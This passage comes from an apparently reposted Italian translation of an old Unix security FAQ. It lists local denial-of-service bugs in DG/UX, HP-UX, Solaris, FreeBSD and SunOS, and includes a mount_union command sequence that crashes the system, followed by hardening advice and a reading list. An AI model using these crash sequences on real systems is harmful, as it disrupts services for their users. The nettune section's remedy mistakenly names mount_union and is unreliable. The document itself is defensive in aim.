.D.12. MANDARE IN CRASH DG/UX CON ULIMIT
----------------------------------------

ulimit è usato per settare un limite sulle risorse di sistema disponibili alla shell. Se
ulimit 0 è chiamato prima di /etc/passwd, sotto DG/UX, il file passwd sarà settato a 0.

.D.13. NETTUNE E HP-UX
----------------------

/usr/contrib/bin/nettune è SETUID root su HP-UX, cioè ogni utente può resettare tutti gli
ICMP, IP e i parametri TCP del kernel, per esempio i seguenti parametri:

    - arp_killcomplete
    - arp_killincomplete
    - arp_unicast
    - arp_rebroadcast
    - icmp_mask_agent
    - ip_defaultttl
    - ip_forwarding
    - ip_intrqmax
    - pmtu_defaulttime
    - tcp_localsubnets
    - tcp_receive
    - tcp_send
    - tcp_defaultttl
    - tcp_keepstart
    - tcp_keepfreq
    - tcp_keepstop
    - tcp_maxretrans
    - tcp_urgent_data_ptr
    - udp_cksum
    - udp_defaultttl
    - udp_newbcastenable
    - udp_pmtu
    - tcp_pmtu
    - tcp_random_seq

La soluzione potrebbe essere settare il permesso appropriato a /sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.14. SOLARIS 2.X E NFS
------------------------

Se un processo sta scrivendo a NFS e l'utente supera lo spazio sul disco il processo
andrà in un loop infinito.

.D.15. STABILITà DEL SISTEMA COMPROMESSA DA MOUNT_UNION
-------------------------------------------------------

Eseguendo una sequenza di comandi mount_union ogni utente può causare un "ricaricamento"
del sistema su tutti i FreeBSD 2.x prima del 18/05/1996.

$ mkdir a
$ mkdir b
$ mount_union ~/a ~/b
$ mount_union -b ~/a ~/b

La soluzione potrebbe essere settare il permesso appropriato in /sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.16. trap_mon CAUSA KERNEL PANIC SOTTO SUNOS 4.1.X
----------------------------------------------------

Eseguendo l'istruzione trap_mon da utente si può causare un kernel panic o un
"window underflow watchdog reset" sotto SunOS 4.1.x, architettura sun4c.


.E. DUMPING CORE
~~~~~~~~~~~~~~~~

.E.1. BREVE COMMENTO
-------------------

I core dumps non appartengono in realtà a questo documento ma li ho messi comunque.

.E.2. USO MALIZIOSO DI NETSCAPE
-------------------------------

Sotto Netscape 1.1N questo collegamento causerà un segmentation fault e un core dump.

   

.F.1.7. CONTROLLARE LA SICUREZZA
--------------------------------

Inoltre controlla la sicurezza regolarmente, per esempio esaminando i log di sistema,
i files history... In ogni sistema senza altri sistemi di sicurezza alcuni strumenti
possono essere trovati. Alcuni strumenti sono:

    - uptime
    - showmount
    - ps
    - netstat
    - finger

(vedi il testo del man per maggiori informazioni).

.F.1.8. MANTENERE AGGIORNATO
----------------------------

E' molto importante essere aggiornati con i problemi di sicurezza. Ricorda inoltre che
i siti, come CERT, avvisano quando il problema è già conosciuto dal pubblico "oscuro"
da qualche tempo, perciò non aspettare. Le risorse seguenti ti aiutano a mantenerti
aggiornato:

    - Mailing list di CERT. Manda una email a cert@cert.org per iscriversi alla
    lista
   
    - Mailing list di Bugtraq. Manda una email a bugtraq-request@fc.net.

    - Mailing list di WWW-security. Manda una email a www-security@ns2.rutgers.edu.

.F.1.9. LEGGI QUALCOSA DI MEGLIO
--------------------------------

Comincia con i documenti su Internet. Mi dispiace dire che non ci sono molti documenti
gratis disponibili, ma qui ho messo una piccola collezione.

(1) I Rainbow books sono una lunga serie di libri gratis sulla sicurezza del computer.
I cittadini degli USA possono prenderli da:

    INFOSEC AWARENESS OFFICE
    National Computer Security Center
    9800 Savage Road
    Fort George G. Meader, MD 20755-600

Noi dobbiamo leggere i documenti dal web. Ogni documento non può essere trovato su internet.

(2) "Improving the security of your Unix system" di Curry è anche buono se hai bisogno
di conoscenze di base. Se non sai niente sulla sicurezza del computer non potevi trovare un
inizio migliore.

(3) "The WWW security FAQ" di Stein tratta la sicurezza W3 ed è il miglior documento che
si può trovare su internet.

(4) CERT ha pubblicato anche dei buoni documenti, come per esempio:

    - Anonymous FTP Abuses.
    - Email Bombing and Spamming.
    - Spoofed/Forged Email.
    - Protecting yourself from password file attacks.

Penso comunque che l'ultimo documento ha tralasciato alcune cose.

(5) Per una lunga lista di documenti raccomando:
"FAQ: Computer Security Frequently Asked Questions".

(6) Vedi anche la sezione ".G. LETTURE SUGGERITE"

Potresti anche acquistare dei libri, ma non ne raccomando.

.F.2. CONTROLLARE LE PRESTAZIONI
--------------------------------

.F.2.1. INTRODUZIONE
--------------------

Ci sono molti comandi e servizi che possono essere usati per controllare le prestazioni.
Su internet si possono trovare almeno due buoni programmi gratuiti.

.F.2.2. COMANDI E SERVIZI
-------------------------

Per maggiori informazioni leggi il testo del man.

netstat        Mostra lo stato della rete.
nfsstat        Mostra le statistiche NFS.
sar        Riporta l'attività del sistema.
vmstat        Riporta le statistiche di memoria virtuale.
timex        Temporizza un comando, riporta i dati dei processi e le attività di sistema.
time         Temporizza un comando semplice.
truss        Traccia le chiamate e i segnali di sistema.
uptime        Mostra per quanto tempo il computer è stato acceso.

Nota che se un server netstat pubblico puoi usare netstat dall'esterno. netstat può
anche dare informazioni come i numeri di sequenza tcp e altro.

.F.2.3. PRGORAMMI
-----------------

Proctool: Proctool è uno strumento gratis per Solaris che controlla i processi.
    ftp://opcom.sun.ca/pub/binaries/
   
Top: Top dovrebbe essere un programm più semplice di Proctool, ma è comunque buono.

.F.2.4. RESOCONTI
-----------------

Per controllare le prestazioni devi avere delle informazioni per un lungo periodo di
tempo. Tutti i sistemi Unix hanno dei log di resovonto per identificare quanto tempo,
CPU e memoria usa un programma. Dovresti controllare il tuo manuale per controllare
come abilitare questo servizio.

Potresti anche inventare il tuo sistema di resoconto usando contrab e uno script con
i comandi che vuoi eseguire. Fai eseguire lo script a contrab ogni giorno e controlli
le informazioni una volta a settimana. Potresti far eseguire allo script:

    - netstat
    - iostat -D
    - vmstat


.G. LETTURE SUGGERITE
~~~~~~~~~~~~~~~~~~~~~

.F.1. INFORMAZIONI PER CONOSCENZE PIù PROFONDE
----------------------------------------------

(1) Hedrick, C. Routing Information Protocol. RFC 1058, 1988.
(2) Mills, D.L. Exterior Gateway Protocol Formal Specification. RFC 904, 1984.
(3) Postel, J. Internet Control Message Protocol. RFC 792, 1981.
(4) Harrenstien, K. NAME/FINGER Protocol, RFC 742, 1977.
(5) Sollins, K.R. The TFTP Protocol, RFC 783, 1981.
(6) Croft, W.J. Bootstrap Protocol, RFC 951, 1985.

Molti documenti in questa categoria erano degli RFC. Un RFC è un documneto
che descrive un protocollo. Le lettere RFC stanno per Request For Comment.
Si presume che su internet si conoscano almeno quelli più comuni. Se vuoi
saperne di più su un protocollo è sempre bene leggere l'appropriato RFC.
Puoi trovare un indice sugli RFC all'indirizzo:

    http://pubweb.nexor.co.uk/public/rfc/index/rfc.html

.F.2. INFORMAZIONI SULL'AGGIORNAMENTO
-------------------------------------

(1) Mailing list di CERT. Manda una email a cert@cert.org per iscriverti.
(2) Mailing list di Bugtraq. Manda una email a bugtraq-request@fc.net.
(3) Mailing list di WWW-security. Manda una email a www-security@ns2.rutgers.edu.
(4) Sun Microsystems Security Bulletins.
(5) Vari articoli da:             - comp.security.announce
                    - comp.security.unix
                    - comp.security.firewalls
(6) Varie pubblicazioni di 40Hex.

.F.3. INFORMAZIONI DI BASE
--------------------------

(1) Husman, H. INTRODUKTION TILL DATASÄKERHET UNDER X-WINDOWS, 1995.
(2) Husman, H. INTRODUKTION TILL IP-SPOOFING, 1995.
(3) I seguenti rainbow books:        - Teal Green Book (Dizionario dei
                    termini di sicurezza).
                    - Bright Orange Book( Una guida per
                    capire il controllo della sicurezza
                    nei sistemi).
                    - C1 Technical Report-001
                    (Virus per il computer: prevenzione
                    rivelazione e trattamento).

(4) Ranum, Marcus. Firewalls, 1993.
(5) Sun Microsystems, OpenWindows V3.0.1. User Commands, 1992.
(6) Husman, H. ATT SPÅRA ODOKUMENTERADE SÄKERHETSLUCKOR, 1996.
(7) Dark OverLord, Unix Cracking Tips, 1989.
(8) Shooting Shark, Unix Nasties, 1988.
(9) LaDue, Mark.D. Hostile Applets on the Horizone, 1996.
(10) Curry, D.A. Improving the security of your unix system, 1990.
(11) Stein, L.D. The World Wide Web security FAQ, 1995.
(12) Bellovin, S.M. Security Problems in the TCP/IP Protocol, 1989.

------------

Followers

LO SCATOLONE DEI FERRI GUIDE © 2008 Template by Dicas Blogger.

TOPO